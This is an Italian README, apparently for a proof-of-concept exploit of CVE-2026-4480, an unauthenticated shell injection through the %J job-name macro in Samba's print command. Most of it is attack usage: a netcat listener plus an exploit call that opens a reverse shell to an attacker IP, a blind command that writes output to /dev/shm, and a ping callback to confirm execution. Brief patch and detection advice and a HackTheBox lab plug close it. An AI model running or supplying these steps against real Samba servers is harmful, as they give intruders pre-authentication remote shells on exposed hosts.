CVE-2026-4480: PoC di iniezione del comando di stampa di Samba (%J)

Importante — leggi prima questo:
Questo repository e exploit.py sono forniti solo a scopo educativo e di ricerca. Non utilizzare questo codice contro sistemi, reti o servizi per cui non si dispone di esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale e contrario all'etica. Utilizzando questo codice accetti di rispettare le leggi applicabili e le politiche istituzionali.

Esecuzione remota di comandi non autenticata nel sottosistema di stampa di Samba. Quando un lavoro di stampa termina lo spooling, Samba esegue il print command configurato tramite system(), sostituendo %s (percorso del file di spool) e %J (nome del lavoro fornito dal client) nella stringa. Prima della correzione, il nome del lavoro veniva passato con la sola trasformazione ' → _ e nient'altro, quindi |, ;, &, spazi, <, > e backtick raggiungevano tutti la shell. Un print command che fa riferimento a %J è quindi un sink di shell injection e, poiché gli ospiti possono inviare lavori di stampa, il problema è pre-autenticazione.

• CVE: CVE-2026-4480
• CVSS: 10.0
• Corretto in: Samba 4.22.10, 4.23.8, 4.24.3
• Interessati: backend di stampa che eseguono un print command esterno che fa riferimento a %J (stile printing = sysv). printing = cups / iprint passano attraverso l'API CUPS e non sono interessati.

Requisiti

• Linux con i binding Python di Samba:
  root@kitploit:~

  sudo apt install python3-samba
  

• Accesso di rete alla porta SMB del target (445/139).
• Una condivisione stampante accessibile agli ospiti sul target il cui print command fa riferimento a %J.

Utilizzo

python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]

Reverse shell

# terminal 1: listener
nc -lvnp 4444

# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444

Dovresti ottenere una shell come account del servizio di stampa (ad es. nobody).

Esegui un singolo comando (alla cieca)

python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'

Poiché l'esecuzione è alla cieca (il comando viene eseguito lato server e non restituisce nulla sul canale RPC), confermala prima fuori banda, ad esempio con un callback ICMP che osservi con tcpdump -ni tun0 icmp:

python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'

Rilevamento / mitigazione

• Applica la patch a 4.22.10 / 4.23.8 / 4.24.3 (o versioni successive).
• Se non puoi applicare la patch, metti tra virgolette la macro: print command = /usr/local/bin/print-helper %s '%J', rimuovi %J, oppure passa a printing = cups.
• Cerca smbd che genera shell (sh/bash/nc/python/curl) e documenta i nomi contenenti metacaratteri di shell.

Esercitati su HackTheBox

Ho creato una macchina su HackTheBox chiamata Abducted per mostrare la vulnerabilità e darti un esempio pratico di come gli attaccanti potrebbero sfruttarla in un ambiente configurato in modo errato.